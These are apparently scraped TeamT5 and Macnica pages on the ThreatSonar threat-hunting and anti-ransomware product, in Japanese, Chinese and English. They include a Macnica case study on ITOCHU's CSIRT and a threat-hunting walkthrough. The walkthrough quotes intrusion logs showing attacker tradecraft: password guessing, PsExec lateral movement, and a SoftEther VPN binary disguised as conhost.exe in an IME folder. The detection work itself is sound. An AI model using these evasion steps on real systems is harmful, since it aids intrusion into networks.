トハンティングサービス」を提供しています。また、マクニカが蓄積する脅威インテリジェンスをベースにし作成されるカスタムシグネチャを反映することで、日本を狙う標的型攻撃の検知率の向上を図っています。
>
>スレットハンティングサービスは、「ワンショット」での利用と「年間」利用の2つのメニューをご用意しております。

##Point
- 既存のセキュリティ製品をすり抜けることを前提にした高度な標的型攻撃を、 AI技術を用いた独自のセンサーとアナリストによる分析で検出 
- 2万台の端末を調査し、情報収集から検知、対応までの診断ライフサイクルを確立
- IT管理者がいない海外拠点の端末の安全性を可視化

##インシデントの予防にフォーカスした伊藤忠商事のITCCERT
近年のサイバー攻撃は、犯罪目的の産業化によって技術や手法が高度化・巧妙化し、企業や組織を標的とした攻撃は経営上の大きなリスクになっている。

また、ランサムウェアやビジネスメール詐欺のように金銭を目的とした攻撃は、多くの企業にとって身近な脅威である。

そのため、最近では、コンピュータセキュリティにかかるインシデントに対処するための組織である CSIRT（Computer Security Incident Response Team）を設置する動きが活発化しつつある。
 
伊藤忠商事株式会社（以下、伊藤忠商事）がCSIRTを発足したのは2012年のことだ。同社のCSIRTは「ITCCERT」と呼ばれている。“R” には、準備（Readiness）・対応（Response）・復旧（Recovery）の3つの要素を含むという。
 
「ITCCERTは全社のネットワークを管理・運用するIT企画部の中に仮想的に作られた組織です。
ITCCERTはサイバーセキュリティ運用に特化し、インシデントの防止、対応、分析、再発防止などを中心に実施します。また、300 社以上存在する伊藤忠グループ企業からも支援要請があれば直接の支援を行います」と語るのは、伊藤忠商事IT企画部 技術統括室ITCCERT上席サイバーセキュリティ分析官の佐藤 元彦氏だ。
 
伊藤忠商事ではカンパニー制をとり、各カンパニーでも情報システム部門が個別に設置されているが、サイバーセキュリティインシデントが発生した際はITCCERTが中心となって対応を実施する。
 
また、ITCCERTではネットワークの通信や社外から送信されてくるEメールなどを常時監視している。自社で蓄積したナレッジを基に独自の検知ルールを設定することで、既存のセキュリティ製品では検知できない特徴を把握し、万が一同様の攻撃が発生した時に検知できるルールを常生み出している。
 
独自のインテリジェンス活動で得られたマルウェアの通信先やハッシュなどの情報は伊藤忠商事を守るために使われ、同社のセキュリティ事案の発生を未然に防止している。　
 
「ITCCERTはインシデントのプリベンション（予防）にフォーカスしており、インシデントを起こさないことが重要と考え日々活動しています」と佐藤氏は強調する。
 
 ## 伊藤忠グループのスレットハンティングサービス
一方、伊藤忠グループや海外拠点は、伊藤忠商事本社のネットワークとは異なるネットワークを使っているため、これらの防御効果が直接の効果を発揮しない。
 
そのため、ITCCERTでは、グループ会社や海外拠点に向けた特別なサイバーセキュリティプログラム「“I” シリーズ」を展開している。
 
その内容はURLフィルタリングサービス、ビジネスメール詐欺対策ツール、サイバーセキュリティに特化したリスクアセスメント、実業務ですぐに役立つワークショップなど多岐に渡る。
 
そのメニューの1つ、「“I” Discovery」は、端末に潜伏するマルウェアを検査するエンドポイントセキュリティで、2017年10月のサービス開始から2万台以上の端末に対し脅威検査した実績を持つ。その中核技術には、台湾のTeam T5が開発したハンティングツール「ThreatSonar」が活用されている。
 
##ハンティングに必要不可欠な情報を収集するフォレンジック技術
ThreatSonarは端末の実行中プロセスや削除されたファイルに関する情報、メモリ上のデータなどコンピュータ・フォレンジックに必要な情報を素早く収集する。収集した情報を独自のエンジンで解析することで不審ファイルの精緻な抽出が可能だ。AIが補助する独自のビヘイビアモデルで不審な挙動を検出するため、シグネチャベースのアンチウイルスで検知できないような徹底した調査が可能だという。収集した情報は専門知識を持つITCCERTのスタッフが分析することにより、既存のウイルス対策ソフトでは検知できないマルウェアが潜伏している場合も検出可能になった。また、検出結果をITCCERTと各グループ会社の情報システム部門が共同で結果を分析することで、早期に適正な対応が判断できるようになっている。
 
 ##既存のエンドポイントセキュリティでは検知できない脅威を発見
さまざまなエンドポイントセキュリティの手法がある中で、ThreatSonarを選んだ理由について、佐藤氏は、基本技術がアンチウイルスではない点と、セキュリティレベルを大きく向上できるソフトウェアとしての優秀性を挙げる。
 
伊藤忠グループの子会社は300社を超え、従業員数は約10万人に上る。さらに、商社という側面から合弁会社の設立や資本業務提携も活発である。そのため、伊藤忠グループでは特定のエンドポイントセキュリティ製品の導入を強制しておらず、各社の要件に基づいて最適な製品が導入されている。各社に共通しているのは、アンチウイルス製品を導入している点ぐらいだ。
 
 「次世代アンチウイルス製品もアンチウイルスの延長線上です。アンチウイルスベンダーは技術の得手不得手があり、全ての脅威を網羅的に排除するのは難しい。そのため、各社が利用している既存のアンチウイルスを活用しながら、独自の機能ですり抜けた脅威を検出できるセキュリティ製品として ThreatSonarはとても魅力的でした。」
 
 “I” Discoveryの提供を開始したところ、50社以上のグループ企業がサービスの利用に手をあげた。ワンショットのスキャンを行った企業は申込企業の半数を超え、定期実行を行う企業も出始めた。“I” Discoveryの定期実行を行う企業の情報システム部門は、既存のセキュリティ製品で検出できない未知の攻撃や、検知を回避するような攻撃によって自社端末が侵害されていないことを確認できる点に満足しているという。
 
 “I” Discoveryの提供を開始したところ、50社以上のグループ企業がサービスの利用に手をあげた。ワンショットのスキャンを行った企業は申込企業の半数を超え、定期実行を行う企業も出始めた。“I” Discoveryの定期実行を行う企業の情報システム部門は、既存のセキュリティ製品で検出できない未知の攻撃や、検知を回避するような攻撃によって自社端末が侵害されていないことを確認できる点に満足しているという。
 
 ##グループ会社への展開は導入の容易さが決め手
「ThreatSonarはインストールの必要はありません。軽量なスキャナーを配布して実行するだけなので、ユーザ側に知識や運用のスキルを求めず、全てバックグラウンドでサイレントに動作します。
 
また、動作中の通信量は軽微なためネットワークへの負担が少なく、OSやアプリケーションなどとの競合や環境依存などの問題が起きないのもメリットです」（佐藤氏）
 
 ##リソースの限られた海外拠点でも監視体制を構築
“I” Discoveryを実施することにより、長年正規のプロセスに隠れていたバンキングマルウェアが見つかった事例も報告されているという。また、アクティブなマルウェアだけではなく、潜伏状態のマルウェアや、ユーザによってインストールされたリスクを含んだソフトウェアを検出するのは心強いと佐藤氏は評価する。
 
なお、“I” Discoveryは海外拠点のユーザも利用している。海外拠点によってはIT管理者が不在、さらには駐在員が1名しかいないケースもある。また、海外拠点で使用している端末はWindowsのOSバージョンや言語も様々だ。そのような環境でも容易に展開でき、運用面でも問題が起きないのが ThreatSonarのメリットのひとつだ。
 
最後に、ITCCERTでは今後、“I” Discoveryにカスタムシグニチャの適用を検討しており、伊藤忠グループのセキュリティの更なる強化に取り組んでいくと佐藤氏は語ってくれた。
 
 ##User Profile
**伊藤忠商事株式会社**
1858年（安政5年）に、近江商人だった初代伊藤忠兵衛が麻布（まふ）の行商で創業。その後大阪で呉服太物商を営み事業の礎を築いた。現在は日本を含む世界65ヶ国に約130の拠点を持つ大手総合商社として、繊維、機械、金属、エネルギー、化学品、食料、住生活、情報、保険、物流、建設、金融の各分野において国内、輸出入および三国間取引を行うほか、国内外における事業投資など、幅広いビジネスを展開する。

 

**公式ウェブサイト**

https://www.itochu.co.jp

 

**回答者**

伊藤忠商事株式会社 - IT企画部 - 技術統括室

ITCCERT - 上席サイバーセキュリティ分析官

佐藤 元彦 氏
 
 
 >元記事はこちらから: [Macnica](https://www.macnica.co.jp/business/security/manufacturers/mpressioncss/feature_01.html)

伊藤忠商事CSIRTが海外拠点にも展開するスレットハンティングサービス

ThreatSonar Resources

##資安人員的痛點及挑戰
>威脅狩獵是一種主動的資安策略，其方法在於透過收集系統日誌及資料，發掘組織環境中的潛在威脅。
>
>說來簡單，但在實務執行上卻困難重重－資安人員該如何在龐大的日誌中，有效率地找到潛在威脅？


 


本文將結合 TeamT5 多年的威脅偵測應變代管服務（Managed Detection Service）經驗，以及在實際場域中執行威脅狩獵時所面臨的瓶頸及其應對思路。最後也將分享常見的攻擊手法案例，使讀者能夠更好地理解威脅狩獵的運作方式，並思索強化資安部署，克服潛在威脅的挑戰。

在之前的部落格文章中，我們分享了威脅狩獵的概念、運作方式，以及如何透過威脅狩獵來強化企業組織的資安韌性。（延伸閱讀：[什麼是威脅狩獵?](https://teamt5.org/tw/posts/what-is-threat-hunting/?utm_source=blog&utm_medium=website) ）

更精確地說，威脅狩獵是一個結構化的操作過程。根據 Sqrrl 團隊提出的 Threat Hunting Loop，威脅狩獵包含以下幾個主要階段：

![image1_challenges-of-threat-hunting.png](https://uploads.teamt5.org/upload/original/image1_challenges-of-threat-hunting.png)

圖片來源：[NIST](https://www.nist.gov/system/files/documents/2017/04/20/2017-04-10_-_sqrrl_enterprise.pdf)

 

###提出假設 Hypotheses
資安人員根據自身知識和對場域架構的熟悉度，建立潛在威脅的假設，為威脅狩獵訂定方向。例如，假設某個使用套件可能存在安全漏洞。

###執行調查 Investigate
匯集所有必要的資料後，資安人員根據場域設置行為規則和入侵指標 (IoC) 進行偵測，驗證先前提出的假設。

###發掘蹤跡 Uncover
在調查階段識別出隱藏的惡意威脅後，進一步確認事件對整個場域的影響和範圍，解析對方的戰術、技術和程序 (TTPs)。

###汲取經驗 Inform & Enrich
根據調查結果採取對應措施，例如將攻擊者使用的中繼站加入資安設備黑名單列表，或為套件進行安全性更新。並且，將這些應變措施的經驗納入日常維運工作中，防止未來遭遇類似的攻擊。

接著，持續重複這個過程。威脅狩獵不是一次性的工作，而是需要隨著攻擊活動的增加持續進行，甚至成為日常操作的一部分，才能不斷提升場域的防禦能力。

 

------------------------------------------------------------------------------------------------------------

 

##威脅狩獵的關鍵環節
在資料分類和提取有效內容的過程中，是整個狩獵過程中最重要（也是最痛苦）的任務。我們可以將這些原始資料分為不同階段（如下圖），每個階段對應的信心指數也各不相同：

![images3_challenges-of-threat-hunting.png](https://uploads.teamt5.org/upload/original/images3_challenges-of-threat-hunting.png)

- **信心指數：低**

這個階段大部分資料都是內部人員正常活動的紀錄，雖然無法直接幫助威脅狩獵，但可以作為基準點來判斷可疑指令是否為惡意操作。

- **信心指數：中**

經過初步篩選後資料量有所減少，但仍包含大量無法提供實質性幫助的資訊。由於數量龐大，資安人員需要花費更多時間進一步篩選，以找出潛在的威脅指標。

- **信心指數：中高**

進一步篩選後，資料開始顯現出一定的相關性，能提供有價值的線索。可根據這些較為集中且相關的資料進行初步調查，找出可能的威脅來源並進行分析。

- **信心指數：高**

最終階段的篩選結果是高度相關且有用的資料，能直接用於深入分析和尋找潛在威脅。人員可以利用這些具有高度信心指數的資料，進行深入調查和處理。透過逐步篩選出最重要的資訊，使得威脅狩獵的過程更加精準和高效。

 

------------------------------------------------------------------------------------------------------------

 

從策略的角度來看，將威脅狩獵納入日常維運工作中確實是個好辦法，但實際上使用這方法的資安人員卻不多，為什麼呢？當我們面對平台上收集回來的大量資訊時，可能會發現以下問題：

- **沒有足夠的時間**：日常工作繁忙，人員沒有多餘的時間來分析和處理大量資料，難以主動進行威脅狩獵。

- **沒有足夠的收斂性**：資料大量呈現在畫面上，資安人員往往不知道從何處開始調查，缺乏清晰的指引和重點，導致調查工作難以進行。

- **沒有足夠的資源**：缺乏快速標示和分類每一筆資料屬性的方法，無法有效篩選和處理潛在威脅。

 

因此，使用符合狩獵需求的工具非常重要，這樣才能加速作業過程，而不僅僅是將資料收集回來。可以參考過去我們發表的威脅狩獵工具指南，文中使用由 TeamT5 所開發的 ThreatSonar，是以幫助資安人員有效地執行威脅狩獵所設計。（延伸閱讀：[威脅狩獵工具 ThreatSonar 完整指南](https://teamt5.org/tw/posts/the-threat-hunter-s-guide-to-the-cyber-hygiene-threat-sonar/?utm_source=blog&utm_medium=website) ）

 

------------------------------------------------------------------------------------------------------------

 

##實務案例
本章節與大家分享 TeamT5 團隊在真實場域中，如何透過威脅狩獵替客戶找到潛藏的攻擊者蹤跡。

Sysinternals、RDP 和 VPN 等工具程式在企業廣泛地被用來執行日常維運。然而，攻擊者也常利用這些工具程式進行惡意行為，因為這些工具程式通常具有合法的數位簽章，不會被防護軟體判斷為惡意程式，大幅降低攻擊行動被發現的機會。

###關鍵步驟

在進行威脅狩獵時，我們會採取以下思路和方法，這些步驟將幫助我們更有效地確認標的：

- **縮小調查範圍**：根據威脅情報和可疑活動，鎖定重點目標，逐步縮小範圍，以便更專注地分析潛在威脅。我們的目標是將大量事件減少到可管理的範圍。

- **觀察活動頻率**：分析可疑活動的頻率，並與正常操作行為的頻率進行比對，以識別是否存在異常行為。

- **進行樣本分析**：深入分析樣本，確認可疑檔案和事件的來源及特徵。

- **透過經驗判斷**：根據對於場域環境的了解，識別異常行為的真實性及其潛在影響。

 

------------------------------------------------------------------------------------------------------------

 

現在以 SoftEther VPN 為例，嘗試從真實場域中找出惡意濫用的行為。由於 SoftEther VPN 具備以下功能，使其成為攻擊者常用於場域中橫向移動的工具之一：

- 具有合法數位簽章，有效避免防護軟體偵測
- 具備 NAT 穿透防火牆（VPN-over-HTTPS）的功能

 

透過合法安裝的 SoftEther VPN，我們可以發現以下一些特徵：
- 預設安裝路徑：C:\Program Files\SoftEther VPN Client
- 詳細資料 - 公司：Co Soft Ether Vpn Project At University Of Tsukuba, Japan
- 數位簽章名稱：Soft Ether Corporation

![image2_challenges-of-threat-hunting.png](https://uploads.teamt5.org/upload/original/image2_challenges-of-threat-hunting.png)

###實際應用

接下來，我們將採取前面提到的思路和操作：


**縮小調查範圍**

首先，從資料集中找出可能為 SoftEther VPN 的檔案，並對已經具有屬性標籤的資料進行篩選。篩選條件如下：
- 公司：Co Soft Ether Vpn Project At University Of Tsukuba, Japan
- 數位簽章名稱：Soft Ether Corporation

發現了一個名為 conhost.exe 的檔案，數位簽章名稱正確，但檔案名稱似乎是異常的。

![image4_challenges-of-threat-hunting.PNG](https://uploads.teamt5.org/upload/original/image4_challenges-of-threat-hunting.PNG)


詳細檢視檔案性質後，發現 conhost.exe 的安裝路徑並非預設路徑，而是在 C:\Windows\IME\en-US\conhost.exe。這大幅提高了我們對於威脅狩獵結果的信心程度，但要如何證明它確實遭到惡意利用呢？

是否有其他更多的基準可以進行判斷？

**觀察活動頻率**

我們需要檢查該檔案是否在內部人員可能進行操作的時間被執行，或者是否在程式排程執行的固定時間執行。透過檢視事件時間軸，我們可以比對在這個時間點的前後，是否有異常登入、可疑指令執行、或可疑程序等事件。

!image5_challenges-of-threat-hunting.PNG](https://uploads.teamt5.org/upload/original/image5_challenges-of-threat-hunting.PNG)


檢查程式本身的建立時間，發現該檔案建立於 13:23，看起來十分合理。接著，比對這個時間的前後是否有異常執行紀錄，我們發現了以下資訊：
- 2023-08-29 11:38:40 多次 Logon failure

 ```src:10.57.21.58 Source Workstation:WIN-QKASG1C5 Target User: Thomas```

 ```src:10.57.21.58 Source Workstation:WIN-QKASG1C5 Target User: ldapower```

- 2023-08-29 12:40:22 Logon Successfully

 ```src:10.57.21.58 Source Workstation:WIN-QKASG1C5 Target User: useless```

- 2023-08-29 12:40:38 Start Service PsExec

 ```service image path: %SystemRoot%\PSEXESVC.EXE```

- 2023-08-29 13:27:24 Start Service SoftEther VPN

 ```service image path: "C:\windows\ime\en-us\conhost.exe" /service```

 

**透過經驗判斷**

首先，有來源多次嘗試使用各個帳號登入失敗，最終在 12:40 登入成功，並嘗試執行 PsExec 服務。最後，在檔案建立後 (13:23)，於 13:27 執行了 SoftEther 的服務。

基於以上觀察，我們有足夠的信心指出這個名稱為 conhost.exe 的 SoftEther VPN 檔案確實是遭到惡意利用的。

------------------------------------------------------------------------------------------------------------

##結語
在這篇部落格中，我們探討了如何通過威脅狩獵有效識別和應對潛在的惡意活動。
首先，我們介紹了合法工具程式被攻擊者濫用的情況，並強調這類型僅憑檔案存在難以識別其惡意行為。

我們採取了一系列步驟，包括縮小調查範圍、觀察操作頻率和進行樣本分析。以 SoftEther VPN 為例，我們發現了一個可疑的 conhost.exe 檔案，通過分析其建立時間和周邊活動，確定其具有惡意性。這一過程展示了威脅狩獵在真實場域中的有效性。

持續的威脅狩獵可以顯著提升企業的資安韌性，迅速應對新興威脅，減少攻擊者入侵帶來的損害。更多關於企業使用威脅狩獵的優勢，可以參閱 TeamT5 過去的部落格文章。

>[威脅狩獵對企業的好處：強化資安韌性的關鍵](https://teamt5.org/tw/posts/the-benefits-of-threat-hunting-the-key-to-greater-security-resilience-for-enterprise/?utm_source=blog&utm_medium=website)

>[企業採納威脅狩獵策略的 5 個好處](https://teamt5.org/tw/posts/5-benefits-of-threat-hunting-strategies-for-enterprises/?utm_source=blog&utm_medium=website)

【實務案例】實戰威脅狩獵所面臨的挑戰

The average dwell time of cyberattacks fell to a median of eight days in the first half of 2023, but attackers are moving faster._[1]_ It only takes about 16 hours for an attacker to gain access to the Active Directory (AD) system and perform various malicious activities through privilege escalation and lateral movement.

At the same time, ransomware attacks continue to grow. According to the annual crime report released by cryptocurrency-tracing company Chainalysis, the number of ransomware attacks in 2023 increased significantly by 70% compared with 2022, causing ransomware payments to hit a record $1.1 billion. _[2]_

## EDR is indispensable to enhance defense in depth
As attackers' techniques continue to evolve and attack faster, it becomes necessary for enterprises to adopt a "defense-in-depth" cybersecurity strategy in order to effectively respond to cybersecurity risks. Through a variety of cybersecurity solutions, corporate networks and digital assets are protected at multiple levels. Even if an attacker destroys one layer of defense, the existence of other security defense measures can effectively prevent the attacker from accessing the network or internal resources, effectively mitigate the threat, and reduce the damage to the overall environment.

EDR is critical for defense in depth, used to protect servers, mobile devices and other endpoints from network security threats. It should be able to check files and programs in a timely manner, quickly identify potential threats, and effectively respond to possible malicious attacks and reduce enterprise cybersecurity risks.

ThreatSonar Anti-Ransomware Endpoint Detection & Response platform provides comprehensive endpoint protection, while improving defense in depth and solving pain points in enterprise cybersecurity deployment.
- **Comprehensive monitoring of endpoints**: Different from stacking multi-layered defense architecture on the network, ThreatSonar Anti-Ransomware provides 7x24 full-time monitoring of endpoint security.
- **Compatible with other solutions**: Solving the limitation that enterprises can only choose one product for endpoint defense.
- **Lightweight deployment**: Unlike most endpoint APT threat solutions that require driver installation.

## Visualize attack trajectories to investigate incidents and response in a timely manner
ThreatSonar Anti-Ransomware provides real-time threat detection and in-depth threat hunting functions. It not only supports high-risk threat alerts, but also finds objects and logs related to the threat through correlation analysis, which facilitate the security personnel to understand the full picture of intrusion through the incident timeline.

In order to allow users to quickly understand potential threats, the incident page of ThreatSonar Anti-Ransomware can provide an overview of the incident trajectory, starting from the hosts that were severely compromised in the incident, to comprehensively take stock of the endpoint security status.

 

![UI_EN_1_threatsonar-anti-ransomware-visualize-cyber-threat-incident.gif](https://uploads.teamt5.org/upload/original/UI_EN_1_threatsonar-anti-ransomware-visualize-cyber-threat-incident.gif)

 


**1. Real-time Detection: **
Once ThreatSonar Anti-Ransomware detects a threat incident, iit automatically provides an incident summary and response suggestions, grasps the incident status, and handles it in a timely manner to reduce the risks caused by the threat.

**2. In-depth Analysis: **
If users would like to have further incident investigation, the analysis report bundle can be directly downloaded to make analysis more efficient.

**3. Take Actions: **
Users can take actions and dispatch the tasks, such as scan and isolation, on the endpoints.

 

![UI_EN_2_threatsonar-anti-ransomware-visualize-cyber-threat-incident.jpg](https://uploads.teamt5.org/upload/original/UI_EN_2_threatsonar-anti-ransomware-visualize-cyber-threat-incident.jpg)

 



When a ransomware attack occurs, ThreatSonar Anti-Ransomware can promptly detect, immediately respond, and grasp the attack path. Ransomware can be blocked immediately when hitting the policy rule. With the detailed incident reports of ThreatSonar Anti-Ransomware, users can understand endpoint information and malware execution process. Also, users can furtherly investigate the intrusion access points of hackers, obtain the root cause of intrusion, analyze the hacker's movement path, and check damages of the compromised assets.


 

[1] “[Attack Dwell Times Fall but Threat Actors Are Moving Faster](https://www.infosecurity-magazine.com/news/attack-dwell-times-faster/)”, Infosecurity Magazine, 2023

[2] “[Ransomware Payments Hit a Record $1.1 Billion in 2023](https://www.wired.com/story/ransomware-payments-2023-breaks-record/)”, WIRED, 2024

 
>TeamT5 consists of top cyber threat analysts. Leveraging our geographic and cultural advantages, we have the best understanding of cyber attackers in Asia Pacific. TeamT5 is frequently invited to share insights at top cybersecurity conferences. Our threat intelligence research expertise and solutions are recognized as the 2023 Company of the Year Award in Taiwanese Threat Intelligence by Frost & Sullivan.
>
>Contact us and know more of intelligence-driven cybersecurity solutions 
>[https://teamt5.org/en/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)

ThreatSonar Anti-Ransomware Visualizes Cyber Threat Incident and Respond Immediately with One Click

儘管 2023 年上半年網路攻擊的平均停留時間下降至 8 天_[1]_ ，但攻擊者的行動速度更快。攻擊者存取 Active Directory（AD）系統只需約 16 小時，藉由提權及橫向移動，執行各種惡意活動。

同時，勒索軟體的威脅仍與日俱增。根據加密貨幣追蹤公司 Chainalysis 所發布的年度犯罪報告指出，2023 年勒索攻擊事件數較 2022 年大幅成長 70%，致使 2023 年勒索支付金額超過 11 億美元，達歷史新高。_[2]_

## 健全縱深防禦，EDR 端點防護技術不可或缺
當攻擊者的技術不斷進化、攻擊速度更快，企業要能有效應對資安風險，採用「縱深防禦」網路安全策略成為必要。藉由多種資安解決方案，多層次保護企業網路及數位資產。即便攻擊者破壞了其中一道防線，其他資安防禦措施的存在，有效防止攻擊者存取網路或內部資源，有效緩解威脅，減輕對整體網路的損害。

EDR 端點防護即是縱深防禦的關鍵防線，用來保護伺服器、行動裝置等端點免受網路安全威脅的解決方案，需要能夠及時檢查檔案、程式，快速識別潛在威脅，並有效應對可能的惡意攻擊，降低企業的資安風險。

[ThreatSonar Anti-Ransomware 威脅鑑識與回應平台](https://teamt5.org/tw/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)提供了端點防護所需，在健全縱深防禦的同時，解決企業資安部署上的痛點。
- **全面監控端點**：有別於在網路上堆疊多層式防禦架構，ThreatSonar Anti-Ransomware 提供 7x24 的全時監控端點安全方案。
- **相容於其他方案**：解決企業在端點防禦上只能選擇一種產品的侷限。
- **輕量部署**：有別於多數端點 APT 威脅解決方案需要安裝驅動程式的部署方式。

## 可視化攻擊軌跡，更快掌握事件、及時處置
ThreatSonar Anti-Ransomware 提供及時威脅偵測、完整的威脅狩獵功能，不僅提供高風險威脅告警，並可透過關聯分析，找到與該威脅相關的物件與事件紀錄，藉由事件時間軸了解威脅入侵全貌。

為讓使用者能夠快速掌握可能潛在威脅，在 ThreatSonar Anti-Ransomware 的事件頁面中，可一覽事件發生軌跡，從事件中嚴重受駭的主機出發，全面盤點端點安全狀態。

 

![UI_TW_1_threatsonar-anti-ransomware-visualize-cyber-threat-incident.gif](https://uploads.teamt5.org/upload/original/UI_TW_1_threatsonar-anti-ransomware-visualize-cyber-threat-incident.gif)

 

**1. 及時偵測：**

ThreatSonar Anti-Ransomware 一偵測到威脅事件，自動提供事件摘要、處置建議，掌握事件狀況、並做及時處置，減少威脅所帶來的損害風險。

**2. 深度分析：**

若要進一步進行事件分析，可直接在事件頁面上下載報告分析包，讓事件分析更有效率。

**3. 加速回應：**

根據節點的詳細的資訊，使用者可直接對端點採取對應行動，降低威脅侵害。例如遇到攻擊事件發生時，可開啟「限制網路」功能，該程式將無法向內/外部進行連線。或是對節點進行「隔離檔案」，將有害檔案和潛在惡意應用程式隔離，使其不損害端點。


![UI_TW_2_threatsonar-anti-ransomware-visualize-cyber-threat-incident.jpg](https://uploads.teamt5.org/upload/original/UI_TW_2_threatsonar-anti-ransomware-visualize-cyber-threat-incident.jpg)

 

當發生勒索攻擊，ThreatSonar Anti-Ransomware 可及時偵測、立即攔截、掌握攻擊路徑。當威脅命中規則，立即阻斷勒索威脅。藉由 ThreatSonar Anti-Ransomware 詳盡的事件報告，了解端點資訊、惡意程式執行過程相依性，使用者能夠進一步調查駭客可能的入侵存取點，獲取駭侵根因（root cause）、掌握駭客移動路徑、盤點威脅損害。

 
[1] "[Attack Dwell Times Fall but Threat Actors Are Moving Faster](https://www.infosecurity-magazine.com/news/attack-dwell-times-faster/)", Infosecurity Magazine, 2023

[2] "[Ransomware Payments Hit a Record $1.1 Billion in 2023](https://www.wired.com/story/ransomware-payments-2023-breaks-record/)", WIRED, 2024

 
>杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
>歡迎聯絡我們，了解備受客戶肯定的資安產品與服務 
>[https://teamt5.org/tw/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)

ThreatSonar Anti-Ransomware 可視化威脅事件，簡易立即處置

サイバー攻撃の平均滞留時間は、2023年上半期には平均8日間に減少しましたが、攻撃者の動きはより速くなっています[1]。攻撃者がActive Directory（AD）システムにアクセスし、権限の昇格やラテラルムーブメントを通じてさまざまな悪意のある活動を実行するのに必要な時間は、わずか約16時間しかかかりません。

同時に、ランサムウェア攻撃は増加し続けています。暗号通貨追跡会社 Chainalysis が発表した年次犯罪レポートによると、2023 年のランサムウェア攻撃の数は 2022 年と比較して 70% 大幅に増加し、ランサムウェアの支払いは過去最高の 11 億ドルに達しました。[2]

##EDR は多層防御の強化に不可欠

攻撃者の手法が進化し、攻撃のスピードが速まるにつれて、企業はサイバーセキュリティリスクに効果的に対応するため、「多層防御」のサイバーセキュリティ戦略を採用する必要があります。さまざまなサイバーセキュリティソリューションを通じて、企業ネットワークとデジタル資産は多層的に保護されます。攻撃者が 1 つの防御層を破壊したとしても、他のセキュリティ防御手段があれば、攻撃者がネットワークや内部リソースにアクセスするのを効果的に防ぎ、脅威を効果的に軽減し、環境全体への被害を軽減できます。



EDR は多層防御に不可欠であり、サーバー、モバイルデバイス、その他のエンドポイントをネットワークセキュリティの脅威から保護するために使用されます。ファイルとプログラムをタイムリーにチェックし、潜在的な脅威を迅速に特定および悪意のある攻撃の可能性に効果的に対応して、企業のサイバーセキュリティリスクを軽減する必要があります。

ThreatSonar Anti-Ransomwareエンドポイント検出応答プラットフォームは、包括的なエンドポイント保護を提供し、多層防御を向上させ、企業のサイバー セキュリティ展開における問題点を解決します。

- **エンドポイントの包括的な監視**: ネットワーク上に多層防御アーキテクチャを積み重ねるのとは異なり、ThreatSonar Anti-Ransomware は、エンドポイント セキュリティの 24時間フルタイム監視をいたします。
- **他のソリューションとの互換性**: 企業がエンドポイント防御に 1 つの製品しか選択できないという制限を取り払います。
- **軽量な展開**: ドライバーのインストールが必要なほとんどのエンドポイント APT 脅威ソリューションとは異なります。

##攻撃の軌跡を視覚化し、インシデント調査を行い、タイムリーに対応

ThreatSonar Anti-Ransomware は、リアルタイムの脅威検出と詳細な脅威ハンティング機能を提供します。高リスクの脅威アラートを発するだけでなく、相関分析を通じて脅威に関連するオブジェクトとログを見つけ、セキュリティ担当者がインシデントのタイムラインを通じて侵入の全体像を把握できるようにします。

ユーザーが潜在的な脅威をすばやく理解できるように、ThreatSonar Anti-Ransomware のインシデントページでは、インシデントで深刻な侵害を受けたホストを始めとした、インシデントの軌跡の概要を提供し、エンドポイントのセキュリティ状態を包括的に把握できます。

**1. リアルタイム検出**: ThreatSonar Anti-Ransomware が脅威インシデントを検出すると、インシデントの概要と対応の提案を自動的に提供し、インシデントの状態を把握して、脅威によって引き起こされるリスクを軽減するための処理をタイムリーに行います。

**2. 詳細な分析**: ユーザーが更なるインシデント調査を希望する場合は、分析レポート バンドルを直接ダウンロードすることで、分析をより効率的に行うことが可能です。

**3. アクションの実行**: ユーザーは、エンドポイントでアクションを実行し、スキャンや隔離などのタスクをディスパッチできます。

 
ランサムウェア攻撃が発生した場合、ThreatSonar Anti-Ransomwareは迅速に検知ならびに即時対応し、攻撃経路を把握することができ、ポリシールールにヒットしたランサムウェアは即座にブロックすることが可能です。そして、ThreatSonar Anti-Ransomware の詳細なインシデントレポートにより、エンドポイント情報やマルウェアの実行プロセスを把握することができます。また、ハッカーの侵入アクセスポイントをさらに調査し、侵入の根本原因の把握、ハッカーの移動経路の分析を行い、侵害された資産の損害を確認することが可能です。

 
 
[1] "[Attack Dwell Times Fall but Threat Actors Are Moving Faster](https://www.infosecurity-magazine.com/news/attack-dwell-times-faster/)", Infosecurity Magazine, 2023

[2] "[Ransomware Payments Hit a Record $1.1 Billion in 2023](https://www.wired.com/story/ransomware-payments-2023-breaks-record/)", WIRED, 2024

ThreatSonar Anti-Ransomware によるサイバー脅威インシデントの可視化と迅速な対応

This article brings together [TeamT5](https://teamt5.org/en/about-us/?utm_source=blog&utm_medium=website) ’s 20+ years of professional experience in cybersecurity defense and keys of cybersecurity defense for enterprise. Also, we analyze the key points that should be paid attention to when selecting cybersecurity solutions and services. We hope it will be helpful to enterprises and build cybersecurity resilience together!


## The key to enterprise cybersecurity defense
As a preliminary reference, you may refer to the NIST Cybersecurity Framework, which was proposed by the National Institute of Standards and Technology in the United States. Through systematic and structured standards, it helps enterprises review the deficiencies of their own cybersecurity defenses and strengthen them for specific projects. See this article for more details - “[How to Check the Cybersecurity Defense Status of the Enterprise according to the NIST Cybersecurity Framework?](https://teamt5.org/en/posts/how-to-check-cyber-resilience-of-the-enterprise-based-on-nist-cybersecurity-framework/?utm_source=blog&utm_medium=website)”.

Furthermore, cybersecurity defense is like a long-term competition between enterprises and malicious attackers. We believe that cyber threat intelligence is the fundamental of all cybersecurity strategies. It provides insights into the tactics, techniques, and procedures (TTPs) of adversaries, enabling organizations to prepare, prevent, and identify cyber threats that could exploit valuable resources. Please see this whitepaper for more details - “ [【Whitepaper】Understanding Threat Intelligence & The Threat Landscape with TeamT5](https://teamt5.org/en/posts/whitepaper-understanding-threat-intelligence-and-the-threat-landscape-with-team-t5/?utm_source=blog&utm_medium=website)”.

In daily operations, we particularly emphasize that enterprises adopt threat hunting strategies to help enterprises take proactive defensive measures, strengthen their cybersecurity resilience, and ensure uninterrupted business operations. See this article for more details - ”[The benefits of threat hunting: The key to greater security resilience for enterprise](https://teamt5.org/en/posts/the-benefits-of-threat-hunting-the-key-to-greater-security-resilience-for-enterprise/?utm_source=blog&utm_medium=website)”.


